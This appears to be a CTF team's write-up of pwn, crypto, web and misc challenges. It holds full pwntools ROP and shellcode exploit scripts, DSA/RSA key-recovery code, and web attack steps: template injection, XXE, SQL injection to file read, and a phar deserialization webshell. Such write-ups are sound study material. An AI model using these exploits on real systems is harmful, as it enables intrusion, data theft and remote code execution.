Time 12.1-2
Rank 2
看一下题目逻辑,如果前面通过判断,最后能有任意次数对栈的修改,可以改return address 之后ROP。看一下如何通过判断,发现需要输入的4位字符符合一定的条件并且在加法中发生一次溢出。于是爆破4位输入,得到一个可以最终进入任意修改栈的输入即可。然后ROP泄露libc,再返回main开头,再次出发漏洞 ROP 执行system
代码如下
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./overInt",checksec=False)
context.arch=code.arch
if len(sys.argv)>1:
con=remote(sys.argv[1],int(sys.argv[2]))
#libc=ELF("./libc.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
con=code.process()
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(commond=""):
gdb.attach(con,commond)
def modify(offset,content):
con.sendafter("modify?\n",p32(offset))
con.sendafter("in?\n",content)
def modifyqword(offset,content):
content=p64(content)
for x in content:
modify(offset,x)
offset+=1
def bypass():
con.sendafter("\n",'\x00\x15\x16\x89')
#con.sendafter("\n","9777")
con.sendafter("have?\n",p32(6))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562025))
con.sendafter("\n",p32(90562025))
def exploit():
raw_input("#")
bypass()
con.sendafter("\n",p32(32))
ret=0x38
modifyqword(ret,0x400b13)
modifyqword(ret+8,code.got['puts'])
modifyqword(ret+16,code.plt['puts'])
modifyqword(ret+24,0x40087f)
con.recvuntil(chr(0xa))
addr = con.recvuntil(chr(0xa))
libc.address= u64((addr[-7:-1]).ljust(8,"\x00"))-libc.symbols['puts']
bypass()
con.sendafter("\n",p32(24))
modifyqword(ret,0x400b13)
modifyqword(ret+8,libc.search("/bin/sh").next())
modifyqword(ret+16,libc.symbols['system'])
exploit()
con.interactive()
过一个哈希检查就可以栈溢出,哈希函数名字叫angr_hash,猜测出题人应该是考察angr,但是我自己写的跑不出来。于是先黑盒测试一下哈希函数,发现输入前面的第一个字节和哈希的第一个字节基本是对应的,于是可以爆破,手动试了一下应该是5字节,第一位是w,于是直接爆破后面的几位,找出一个符合条件的值。
def hash(s):
h=0
for i in s:
v0=117*h+ord(i)
h=v0-0x1D5E0C579E0*(((((0x8B7978B2C52E2845 * v0) >> 64) + v0) >> 40) - (v0 >> 63))
return h
d='wabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d2='xyzabcdefghijklmnopqrstuvwABCDEFGHIJKLMNOPQRSTUVWXYZ'
d3='jklmnopqrstuvabcdefghiwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d4='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d5='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in d:
for j in d2:
for k in d3:
for l in d4:
for m in d5:
if hash(i+j+k+l+m) == 0x53CBEB035:
print (i+j+k+l+m)
得到符合条件的解wyBTs
然后就可以栈溢出ROP,先用puts泄露libc基址,然后跳回main再来一次直接system("/bin/sh")
完整利用脚本如下:
from pwn import *
HOST = "58.20.46.150"
PORT = 38533
code = ELF('./code')
s = remote(HOST, PORT)
#s = process('./code')
context.arch = code.arch
context.log_level = 'debug'
puts_addr = code.plt['puts']
puts_got_addr = code.got['puts']
main_symbol = code.symbols['main']
s.sendlineafter(':\n', 'wyBTs')
payload = flat(['a'*120, 0x400983, puts_got_addr, puts_addr, main_symbol] )
s.sendlineafter('save\n',payload)
print 'a',s.recvuntil('\x0a')
libc_puts = u64(s.recvuntil('\x0a')[:6]+'\x00\x00')
libc_base = libc_puts - 0x6f690
print hex(libc_puts)
print hex(libc_base)
s.sendlineafter(':\n', 'wyBTs')
payload = flat(['a'*120, 0x400983, libc_base+0x18cd57, libc_base+0x45390, main_symbol] )
s.sendlineafter('save\n',payload)
s.interactive()
#flag{15c3ac74e25f96a282c2821008431557}
堆可执行。Note的编辑都有边界检查,但在检查之后有栈溢出可以覆盖局部变量,从而编辑Note时越界写到GOT表上,从而跳到堆上,堆上摆好shellcode即可。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import os
code = ELF('./note', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def add(idx, data):
r.sendline('1')
r.sendline(str(idx))
r.sendline('13')
data = flat(data)
r.sendline(data)
def exploit(r):
r.recvuntil('404')
r.sendline('1')
r.sendline('0')
r.send(flat('13'.ljust(10, '\x00'), p32((-8)&0xffffffff), '\n'))
sc = asm('''
start:
xor rax, rax
syscall
dec edx
mov rsi, rcx
jmp start
''')
r.sendline(sc)
r.sendline('5')
r.sendline( '\x90'*30+ "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" )
r.interactive()
第一个漏洞是printf泄漏,但无法任意写。第二个漏洞在于fclose之后没有清空指针,从而可以用scanf控制fs内容,在fread里控制PC。
脚本如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import os
code = ELF('./random', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
#gadget = lambda x: next(code.search(asm(x, os='linux', arch=code.arch)))
#context.terminal = ['tmux', 'new-window']
#debug = lambda : gdb.attach(r) #, gdbscript='b *{:#x}'.format(code.address+0x10EE))
def doopen():
r.sendline('1')
def doclose():
r.sendline('3')
def exploit(r):
doopen()
sleep(0.1)
doclose()
sleep(0.1)
r.sendline('2')
sleep(0.1)
r.sendline('%c'*401 + '@%p'*10 + 'AAA')
sleep(0.1)
tmp = r.recvuntil('AAA')
tmp = tmp.split('@')
canary = int(tmp[-10], 16)
stack = int(tmp[-4], 16)
libc.address = int(tmp[-6], 16) - libc.sym['__libc_start_main'] -0xf0
code.address = int(tmp[-7], 16) - 0xd70
info('%016x libc.address', libc.address)
info('%016x code.address', code.address)
info('%016x canary', canary)
info('%016x stack', stack)
addr = stack - 0xd58
ff = flat(libc.address+0xf1147, 1, 2, 3, 4, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, code.address+0x202800, 18, 19, 20, 21, 22, 23, 24, 25, 26, addr-0x40, 28, 29)
sleep(0.1)
r.sendline('1')
sleep(0.1)
r.sendline(ff)
sleep(0.1)
r.sendline('0')
r.interactive()
题目直接给了key,需要自己写解密函数。看一下加密函数,就是AES加密中间,对每个block都异或了iv,最后还把iv作为密文头部返回。只需要写一个逆操作就可以了。
解密代码如下:
#!usr/bin/python
#_*_ coding=UTF-8 _*_
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys
class aesdemo:
#aes = AES.new(key,mode)
def __init__(self,key):
self.key = key
#self.BS=BS
def pad(self,msg):
#BS = AES.block_size
# aes数据分组长度为128 bit
byte = 16 - len(msg) % 16
return msg + chr(byte) * byte
def unpad(self,msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
def xor(self,a, b):
#assert len(a) == len(b)
return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])
def split_by(self,data,step):
return [data[i : i+step] for i in xrange(0, len(data), step)]
def encrypt(self, plaintext):
# 生成随机初始向量IV
iv = Random.new().read(16)
aes = AES.new(self.key,AES.MODE_CBC,iv)
prev_pt = iv
prev_ct = iv
ct=""
msg=self.pad(plaintext)
for block in self.split_by(msg, 16):
ct_block = self.xor(block, prev_pt)
ct_block = aes.encrypt(ct_block)
ct_block = self.xor(ct_block, prev_ct)
ct += ct_block
return b2a_hex(iv + ct)
def decrypt(self,cipher):
c=a2b_hex(cipher)
iv=c[:16]
cipher=c[16:]
aes = AES.new(self.key,AES.MODE_CBC,iv)
prev_pt = iv
prev_ct = iv
pl=""
msg=cipher
for block in self.split_by(msg, 16):
p_block = self.xor(block, prev_pt)
p_block = aes.decrypt(p_block)
p_block = self.xor(p_block, prev_ct)
pl += p_block
return self.unpad(pl)
# 测试模块
if __name__ == '__main__':
cipher="524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa"
BS = AES.block_size # aes数据分组长度为128 bit
key="asdfghjkl1234567890qwertyuiopzxc"
demo = aesdemo(key)
e = demo.encrypt("a"*16)
p = demo.decrypt(cipher)
print p
首先从pub中提取DSA公钥,得到p,q,g。审计源代码,签名后计算出两个值s和r。其中私钥pri是未知的,s是由pri以及r运算生成的。让服务器对一个已知字符串进行签名,获得r和s,可以通过模p上的运算求出pri。得到私钥后即可伪造admin的签名,让服务器验证,获得flag。
#!use/bin/python
from hashlib import sha512
p=0x00e58c4b03419856a2bdf8e027d4634879d4f1d5cf62958efc7b4116d9850629577a2f3d29094af814a4d37843ae5ec0152641f93d48b8fa811c175b9aba4bac2c67312fd82caee22babdaf8d76bf6e9b5b1876bdae8b4ead8f85eecd5ecf7cc305cf03f38888027cf9db4bf89a50c04627772e7c957e29a81767cafb9be522a992d4dd1a755de77f8eed08f74e066bb456a4d19564d3680c21cce9846b3d9b703c25b53074c27c1718a82b00a3f6445001b89ba376d1387d499d1e7bfff90a97b1cf228e0abc0d683b80e7521249c88ec3bc85f311b70baece10b5753b2a29f159aafb75969eeee496b5e30224aa3fd289d1f43b6954f34b871637247f155ffc1
q= 0x00e02de0483211755e1479ab841fb11b71d0be7eecf58b6d7acbc001535714f44f
g=0x008162303e2cf766a23f4ca9209648f0b1b6034b22a577b2ed3982a40e1d4d821c8bd3fcc97c3407e18838a414639627e349a5e9dce42bbe9f653bab05652243803f8e5478aaf03e850236ca32d13814709aaa3433d3180503ea189bd4cdcad44b678b32d7e6e32903219d74fb457f24c28e7c4a53615a1b7cd834a52fa5ca4218190fd8c4b5c87647351a5d7ee960744461ec95c1c72b4327f7f83aea24922c1968d329ab91f287b601d09e36e366faae374f0a43cb445ba763eaeed6f75a4e694f3daec20d4d8148106e4bb79ed2d65fdf60d4310afaf19c9f84047cc815f2c713f99b23e4988ae70403953f8e3560a0f1f1ced572d03be8b99961955333d229
def s2h(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def h2i(s):
#print(s)
#print(type(s))
return int(str(s),16)
def nonce(msg, num):
n = 0
msg=h2i(msg)
num=h2i(num)
for i in str(msg):
i=int(i)**int(i)
d=int(str(int(i)*3141592653)[-6:])
n += num % d
n = (num-n) % d
return n
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def sign(data):
data = s2h(data)
k = nonce(data,q)
kinv = modinv(k, q)
r = pow(g, k, p) % q
h = sha512(data).hexdigest()
h = int(h,16)
s = kinv * (h + r * priv) % q
return (r, s)
def veryfy(data):
h = sha512(data).hexdigest()
h = int(h,16)
#get from server when name =admins
r1=90070573032872447121024029430718629638260432295511124276056848475122201240021L
s1=68073756336683619265031749533878249052846049048347537247828287528295874908598
data=s2h("admins")
k=nonce(data,q)
h = sha512(data).hexdigest()
h = int(h,16)
priv=((((s1*k)%q-h)%q) *modinv(r1,q))%q
print priv
(r,s)=sign("admins")
assert(r1==r)
assert(s1==s)
print sign("admin")
这题总共有三关,先用rsa加密flag,随后随机生成第二组密钥,用于加密解密指数d的一半
首先可以用中间打印的随机数结果进行伪随机数预测,从而得到第二次加密的密钥
#python3
import os
#import primefac
import random
def generateBOX():
ss=[]
for i in range(624):
tmp=random.getrandbits(32)
ss.append(tmp)
BOX=[]
for i in range(32):
BOX.append(random.getrandbits(1024))
return ss,BOX
import linecache
import mt19937predictor
lines=linecache.getlines("output")
ss=lines[2:-1]
#ss,BOX=generateBOX()
predictor=mt19937predictor.MT19937Predictor()
for x in ss:
data=int(x.strip(),16)
predictor.setrandbits(data,32)
box=[]
for i in range(32):
box.append(predictor.getrandbits(1024))
print(box)
第二次采用的是对称加密,现在已有加密密钥,可以解密得到明文
import os
import libnum
import random
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
flag="a"*31
print "++good good study, day day up++"
def pad(m):
tmp=m+os.urandom(16-len(m) % 16)
if (len(tmp)/16) % 2 !=0:
tmp+=os.urandom(16)
return tmp
m=pad(flag)
def cipher1(m):
tmp= bytes_to_long(os.urandom(172)+m)
e=3
p=getPrime(1024)
q=getPrime(1024)
n=p*q
c=pow(tmp,e,n)
d=libnum.invmod(e,(p-1)*(q-1)) % ((p-1)*(q-1))
if pow(c,d,n)!=tmp:
return cipher1(m)
else:
print(long_to_bytes(n).encode("hex") )
print(long_to_bytes(c).encode("hex") )
print len(long_to_bytes(d))
return long_to_bytes(d)[-len(long_to_bytes(d))/2-1:]
#t=cipher1(m)
def pad2(m):
assert len(m)<256
return os.urandom(256-len(m))+m
#exit()
#t=pad2(t)
BOX=[100864670219083426053941742951101278177129530323892218254174300226604066612176917370728129811866589296846704142488203554327841397994166535936718914674316195646165723662233322971811758125973113747713164397136391519596862596258752323014550412894413975219024952374210555861253519865982128027658912706537000457733, 8744271934300658524557200003349876618407475721933310828210389005795702468478220692215689509419555494366016503363569517575105550526937526874486332433410874178151931178699005702750146028150698383268715595362634987357987248401295631138924588975305845108087722091671836254016589797877986685077667621859071827568, 101061747407292464318788771580585883496055200160356293149725904520317637992915450357967467893329294136715327003173902114755214477488478987833995411010082988086586951275683167449176083404549468803752190934895131433558246332674920959421588531070849813832695598962687135572078210949116054242561925404031812084418, 94157175404674084503979269073506915309206897600257708636725934781620621978144351806275692533749454249987712234312782178173654170242590184519876832376217428651863990301756525477772202696511469392651689051626606574939442928983651151604881324136292927917973554886969377690470512198803775239461175236999863341111, 130834513980262887909718731060446361962932102312972129220177183255765400102068455602630067689456028687464644916416545794993039546395191334719591032221967131224211316897068763030983450578508533325505879117075268595804463412675411017442033654347371824923843097448753773961008158637836850720044207796706185623795, 39391050397905908995378510995854370291012694644663323101752781578748888448003969087574062329315635226357510831739898695994561878045586110472921972957553694738709308514996897967978947000347458954783346877147920846271142562442977057630861265201471049179971593239449751616106111872068101065585197194545327210465, 125607787571004645175194544198599614849939231135301645624954563748878897853064654307533673375177493991222113682888773512760467601105855039033111100044489781180023929982350104958136118487777355808952530202118263254875742520992051262275577364548057003605347585871248695780474573482138035461347483438828836630112, 158532106224823022825997305902150328206052267794035621153980957134660538278157603371862206034019834817495692128962652917937991407014914157841838088566162807071712621386703866296972048229042738031253822612697583809680009689134482144069485589091506659569537008997944053286655593545394839016215322907618745332043, 157208173743406213217442024628181819371086621332545107114979393785203268743595625558684872965647302239770267307771915419472494760480558098042781899970802570387317693132730668666407757552566117140100290430360797562521937561014141249843824060123002299012766434771963990071197036719837956034050090974749542435891, 92804780786648799071867867400100926572109955871567253823677076900109410214298847406822988118660063227589646032464958426522394238899339709906229299799080950764819983287152153094643738769939368462852452231378098089190607592603683125696283530898995969639830281820201016094679297312936711317736724031735197335617, 161495378113302302723193115770690241546007805582241042778429692733715522172386407516829158058346662657382617988901655422555941747191207891062960840050357201798525150165221657342420266975952602267101153414710723337753304174862838198416234517365444693095003594414316344856277987468888632019925167278855337289053, 9903249589968574010153171737602318309198768828152733633935959997042880556132281289530928933653762397892086112838038170841457327428621278885733269282890840284877659877856122091944822768422636005742972690786639941209742419175081374346709725023185099912356435202669179031717022063067181254672272769780755636605, 132167049425962955085731646763629798610349128048981010428294273303923006758365694598138889672684516427846923823437883419151608889217660491485938912156580055591797078554729819688994159407483343701360701597005093037644323895899596556003266099664885176221259093726600153822899817731342624918000189006094623037059, 157200080553431618144413421271009566949348976395716766894613094101986136641827196220024713029876754394978160643140855881670258182651825878922514648449070456904752956934595014955635029974802230459121206958803441592550083435516266650103963687509784292395360653449446013591490069170150291181765338130336696495388, 37310650880075391113329014198596904409821484607626603437090909993734793224459203633376761296170163103323269271170938584415823528324337500450938860909751543969949280810880365290601655812667912681990321011282713101109005928156212884865744958218600546135473178754998807056821308004298243784505322954388006823280, 11878402987631804681330357170975587020264845002193926405848939739739089181778042254075133010350987971951647462288986630344860268593270253862527526029606075898683437148854665516415843288222901820619736394970564516680588041025978308333618290492130249634410674259018971038985834022787426914330393969087473007974, 140461878283517606500967656383752289634301068293088701849528304516431510539784027350785528941675613638440027244808120991932550762571686393053680992191021595113570610794144044227770477060579114327726521679464907418409132768960644582474455396748954334434431408996353350270402107654733202450404721451771999916745, 75011734157867997653490328662760409994004953302939387962104025955798797725053191463092965250666893473710554219322203956635316224589886083252244807569048719605154692271889372395482886243085622023135580891439923668075418551893732666443236363883704434508860328611901954480147894214571951770837890772741128421167, 175920820922427955715444292404295051019380738762847545620051806921394489801755976577389780324165215157384176885098861429145286612863282941938851629622295930840174393356144083923446393575271242821595172816823560756325700833609118047294838640383572474942756439808848109206314972426204008501705201092932151045032, 18225110072840051409299705167318350831599451882518720339754640331994597360664489819994730063278055793735801583603617689392955735702335232341586451346680147619085360820355364802249858508808563993638934536188000191815224777082882769593161027087761393164512626899734666969831601222420762677911170517335738857538, 55336154883204929742962840935944118304391828773480348128797964813307662476556440408591030079531875145291456653157712802292487167818352823264908512223580747145338857252789757073345720014588924942122139397362707906040918618164121598464576792753899948557227052407068476747367165092859526158898512366691995252051, 130956350313874272721895641984137720177320198847015290577041973106138358628419766498654641247273836779564354904329119548080333257723928193030374813278282085926467375127379242860273998566470728127171053576605586554720353343656723129787685240484026543684607994659499358481101862040941052598884166215338087616874, 75562609748311032509762480480692744002331371872068310782965723982500223152576111763570014287642999956840664531787262698084523045797693844085767062497158716550972042572103287601668919952677938554708559879289429250590907059462701362205733792421207918027968608553401021651075094453054188693437089133708191077213, 118174759535501001042056785626160010137406830921407815520450554680956323103636755065740853116915961198993545725880532608059890220161170630468515071393881661161695188120815585707125198280737517115250835904023756384494471150198086072108813534735091586043897414299552735786674627932000120567706738677091467787514, 176956736345331621386101138578292725149617733888078431063236262101605180419469684152191625712378704261531681170918872508880029128673916446926150150310773391751174955970024191172204009587442789563720854150147028507553385540744994688011478719368927128306943295032629118593359266963395146322549503012424985609665, 92781929183899769977684941231731104804097067405410552128714064948624904273926908122144704194310447745143280013512314714958120776597779411568949891713557828292617907297247754318099512273141193747779958072314564232216994433327169723346084995059366267352571239534018348012529751122737324913588657849472054143564, 88856973692906216222444347246568807876970133835159099585061129738650966565668161331587679328554555618045089222364413782721991662121814526328734613669113415866500509168837920324788222497993062671090097403992489259620726135658722517667729380011359806056904532569413850427182088051908735978816299960605662944055, 113750447985076352193601455931369994926317999826717360915893830533132638202791766956559606980928848886602605902115224871121551101697529836014990033757622009183403170441959316470055274443666071145413656449288817339439058194869737896305241842001899196353068631568058077829401159607819753058380674988622788530468, 172535263608299173176948050252317921248274611943581964481049167763232042995845811116167842340018203339974320416797523039744397301326388588495755827747683336155356100890896621108911015879028314731588596799653105656146779973271773170581106744976608118888734296181332629451256925245902663404399182603925493051505, 10813481050031547802094907355456970338491668194547580614106823872061456166269390857757372394365479480491446273722402017971942951476402169640860723225013912175493801330694155767930760014059204757590542449438183494419344927956049794175269029350294435521429585817443665669881285173615090571017147139022770870083, 87445510420989738310437859103349710587491745709573066034034711708946033146756942653942026333873916819069604759036188183841734663595408731876568667703294121210885478778425782623887682500334643116594579323201047173316501575978304759245887930402270304461903516142807534885644509403301732207455955592553444644496, 150369200989613601378284682304890610172130021028705012630477720057966575013177093513125291651320800445423399942631326982043659268206218607549003048613332265618734034313599638338187844883660400907717592748765467125062555914201945211395535375311214659291964652677147653485446023577199713953458635690335387146102]
def pad_128(m):
assert len(m)<=128
if len(m)==127:
return '\x00'+m
if len(m)==128:
return m
assert False
def singleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nL=R
nR=L^BOX[R%32]
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def cipher2(m):
tmp=m
for i in range(32):
tmp=singleround(tmp)
return tmp
def desingleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nL=R^BOX[L%32]
nR=L
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def de2(c):
tmp=c
for i in range(32):
tmp=desingleround(tmp)
return tmp
#cc=cipher2(t)
#print(t.encode("hex"))
#print(cc.encode("hex"))
cc="4246158d1f5ca30ee3b02fb151bab4dbe2a612e8bff32388c06149607edc83bdc3b9ae3f5c0b6a732acfc1302295fc3af8d53f07673ea570a07ace5b7b7890d8992fb06e7fe5ddc7c4c404f0336a69148f499802d1e3dcb6524946658b25cfdd855ee871050535dbddec523d77dd12393d745b9d9848327faf64b2a44779db9af21f14b2918c0057c7075224f86e8f0128ec5a3583cc86986b4a5afa3ff79b04954937d1b6082383a8287acc568ce196ee6d2cf3bc57c6f2eeb2cd9fd296cb9a66090cf6c5631c56aaf7b2ad6eacdc12b0a8808cdf4b16bb6ff3ae92fb2e4486f4e5b2ade0b8afcee68d64885f37c95cc59d213200471a77aef8fb74cd0a8572"
cc=(cc.decode("hex"))
pd= de2(cc)[-129:]
print len(pd)
print bytes_to_long(pd)
解密出的结果是rsa加密d的一部分,可以根据一半的 d恢复完整的d
0# partial_d.sage
def partial_p(p0, kbits, n):
print p0
print kbits
print n
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p
if __name__ == '__main__':
n = 0xbac8178c6c942524e947f05b688d4f589b99428d4e932b6aa3cf9fc668436fe828271348451c43b52392dda7fca416d58ca39ddeafa012c4ca1b66b08c003296f1608e2e88184a23d400607be608fd2b75b3be14cedc678f27e1d5c601c4793ec599eff29e4ae568669fea83e917d584c6f45a99c81b50a235deb8094514b9dc6f8fc3746d2f9575b7d828c190f4eba1c719e13e9158c3874e19ad2aa886cbbe037a840ac277edc4ba4f9593331dd22575f13db757b5affc75325bec1310801712b3d6292700633dba4ccd1e3b842f749e29114de611204d40d4e032dd1d88e479c63a09ed6ec1c9fc68b757d84e6ddbeabce9f71a96cb0c5187875a527e81c3
e = 3
beta = 0.5
epsilon = beta^2/7
nbits = n.nbits()
kbits = floor(nbits*(beta^2+epsilon))
#d0 = d & (2^kbits-1)
d0 = 41553968686912790458952954242993376120770631907046753685913743296462656479519115622338767486057957865327928162894905159713476559759372878811027305942550917690129221521319505264770463830494835755547904306581759923536797408961014041078383923539917501415413031359824770485620647758572837271668506768858761339247563
print "lower %d bits (of %d bits) is given" % (kbits, nbits)
p = find_p(d0, kbits, e, n)
print "found p: %d" % p
q = n//p
print inverse_mod(e, (p-1)*(q-1))
得到d之后最后解密出flag
d=15719329173101230775604925095713430429410017067730735720122774102026798292198854772582397931524981328066220201686253869681654538643216308659732679687068887144244339681292606585405634534782951769524179447943945928017418799051540509161882272727502124383771467244539059079789484131589823795198826681734443250466489631148083608378602690249331340288477433925901930416883386560607894108133072240151451713294504041574171909966081139950332854672625859935972900507941581759565393537375540648238054700355023950471918032942297781254286296194965889493933080236396888544403928268329653036490837233832639787140301937122334872345547
>>> from libnum import *
>>> n=0xbac8178c6c942524e947f05b688d4f589b99428d4e932b6aa3cf9fc668436fe828271348451c43b52392dda7fca416d58ca39ddeafa012c4ca1b66b08c003296f1608e2e88184a23d400607be608fd2b75b3be14cedc678f27e1d5c601c4793ec599eff29e4ae568669fea83e917d584c6f45a99c81b50a235deb8094514b9dc6f8fc3746d2f9575b7d828c190f4eba1c719e13e9158c3874e19ad2aa886cbbe037a840ac277edc4ba4f9593331dd22575f13db757b5affc75325bec1310801712b3d6292700633dba4ccd1e3b842f749e29114de611204d40d4e032dd1d88e479c63a09ed6ec1c9fc68b757d84e6ddbeabce9f71a96cb0c5187875a527e81c3
>>> c=0xb50f6b8e6e29b869119eaedc9b235d8754c7ce06ff1a5c9465622d5662e5b36e7f6d525f3a64e126bad4e5c06c24408b81e66f00f7c7a464e4514544683d5d92c84394fc41fd1a626b910bf8e5f30b87c64a129ff694bddca441d01a9d49835d90123fee879935236de2e25ecc4adb2c0bc6a17a2209e1ed5a31c4209f3d11974d464a7fb127ddf2ab9d9975798b7b11a1f4389bef23dd60d2a062fd7e3245e891a0f13b4b9f702b4796874bb8302c40047ad13f8fc421c02953fddb012029508cc80eaa3a89f72663cd563a3336db2bd5d8ab3bdf36239d1cf9a98cee265beec9d2283bc6dffff49a7e23f48efe9eba337f0a9f52a1c2f167387905364af412
>>> pow(c,d,n)
3853527054032297151288551799276978491484011652387602856669343677153153672488264869789362258706672913380725805959339051647753660398715672758041611417359221862191910186302849642986117379051948384641790806003045938775165662607856847624153370073390528916685325331400617639430264710801836071918474422247871191092731077060317333951332306026450738567711361523165024993865644207231472725193840873995914535584736228295533006603469862575861095201104822715553969226942033977480766434171551353277650319968784074525097625278661991131857615700533149787373545375247337643949376505455L
>> k=pow(c,d,n)
>>> n2s(k)
',\x9d\x10$\x8ft\x08\x9c\xc1?\x93B\xc5W\xb8\xab6\x8f\xe4)\x11\x1fM\x99\xb1\xfd\xdd\xd3D\t\xf4\x11\x7f\xaf%\x98\xfeN$\x06\xac\x1a\xfel\x12\xd6tr\xfcO\x96\x9d\xa7u\xa9w\x18\xb4\xde\x9cC+W\xc6\x87Jf&\xbd\xb6\xa7+\x0f\xf0\xe8\xd8\xd6\xc6\x87\x8f\x16\x19~\xe5c]\xfc\xb1)\x87\x81\xb3\x8d\xb6}H\x14\xbb\xec\x9d|k\x8eW\x89\xa6\xfb\xe1\x7f\xc6\x0fbg\x9bs\xc1ek\xd0\x87\x01\xe1\xbd#i\x17x~I\xf5\xc3\xf0\xbdD\xa8\x88Pn\x8a\xfdx\x07\xe9.\x1egW\x8d\x04\xafh)~\x8b\xcd\xe5\x05)R\xcf\xec*\x9f\xe3\r\x10c\xf62ygcflag{m1x_flag_for_alot_of_challenges_rsa_block_stream_ctf}\xf2x6\x01\x86o'
首先flask写的,测试发现存在模板注入,于是fuzz一下
/{{url_for.globals['current_app'].config}}
得到配置文件,然后获取到了secret
'SECRET_KEY': 'as/d21as-+dhasod5a4s54:><()dfdsf'
解密session 如下:
于是伪造admin:
出现上传框,后来测了一下,貌似随便注册一下,也可以上传233333
随后开始fuzz,测试了很久,发现可以xxe ,,,
最后测试得到使用xinclude 读文件 然后在rq用户的 .bash_history 得到flag文件名
首先发现了index.php 这个时候发现了一个.index.php.swp 这里真是坑啊,与实际文件根本完全不一样。233333
下面说重点,
首先index.php cookie提示?Flag 尝试filter读源码,发现并没有什么卵用。。。
提示about也有后端,页面也说用了base64 于是猜测 about的base64 编码以后,存在文件,(这里猜了一年,服了)
然后读源码:
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
?>
简单的变量覆盖,尝试构造获取flag
首先在登陆页面,发现提示,访问得到数据库结构:
Sql injection
既然给出了数据库,应该与sql注入有关,首先尝试正常功能,发现功能有 注册,登陆,上传文件,读取你上传的文件,然后开始尝试注入,在文件名出发现存在注入。
猜测sql语句为:update users set filepath = '' where id = 1;
于是构造利用,发现可以篡改其他用户,或者自己的filepath实现任意文件读取
构造如下:
Update users set filepath = ‘123’,filepath=’456’ where id =2 --1 ‘where id =1
这样就可以修改掉我们自己的filepath的值,然后尝试读一下文件。
任意文件读取
首先尝试读取 /etc/passwd:
然后点击导航栏show
抓包,发现读取成功。
读取源码
没有办法直接getshell,因此尝试读一下源码,但是发现不是默认路径,因此先读一下apache2的默认主机配置。
fuzz了一下,找到了配置文件为:/etc/apache2/sites-available/000-default.conf
读取如下:
然后读源码
file_get_contents 反序列化
在逻辑代码中,发现使用了file_get_contents :
但是现在并没有一个可用的类,于是想到整个框架是使用了yii2 ,所以尝试读取composer.json 文件,查看是否有有漏洞的组件:
构造反序列化文件
在composer.json,里面发现了低版本的组件 guzzle,于是在phpggc中尝试查找有关反序列化漏洞利用,发现可以任意文件写入。
采用phpggc生成payload,但是这里没有什么可用的文件夹,去找了一下,发现了一个yii框架默认存储静态文件的文件夹,assets。
写脚本生成文件:
然后通过composer本地搭建虚拟环境,在vender文件夹中运行php,生成exploit.phar
getshell
将后缀改成txt,上传到uploads目录,然后通过注入,修改filepath为phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt ,点击show触发payload
采用老套路bypass:
compress.zlib://phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt/shell.php
执行生成的shell为:/var/www/html/You_Cant_Gu3ss/web/assets/a.php?a=ls
获取flag 通过shell查找到根目录flag 为fffffffffffffffff1sHere
统计空格间的字符个数
import string
l1="My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style".split(' ')
l2 = [len(i) - i.count('+') for i in l1]
cs = [string.ascii_lowercase[i-1] if i > 0 else ' ' for i in l2]
print(''.join(cs)) # flag
题目是一个Gif文件,明显看到红绿交替闪烁,8次之后会有一次黄灯闪烁,于是想到01编码,黄灯是分割。
先把gif每一帧都提取出来,用python的PIL库可以方便提取
from PIL import Image
import os
gifFile = 'Traffic_Light.gif'
im = Image.open(gifFile)
pngDir = gifFile[:-4]
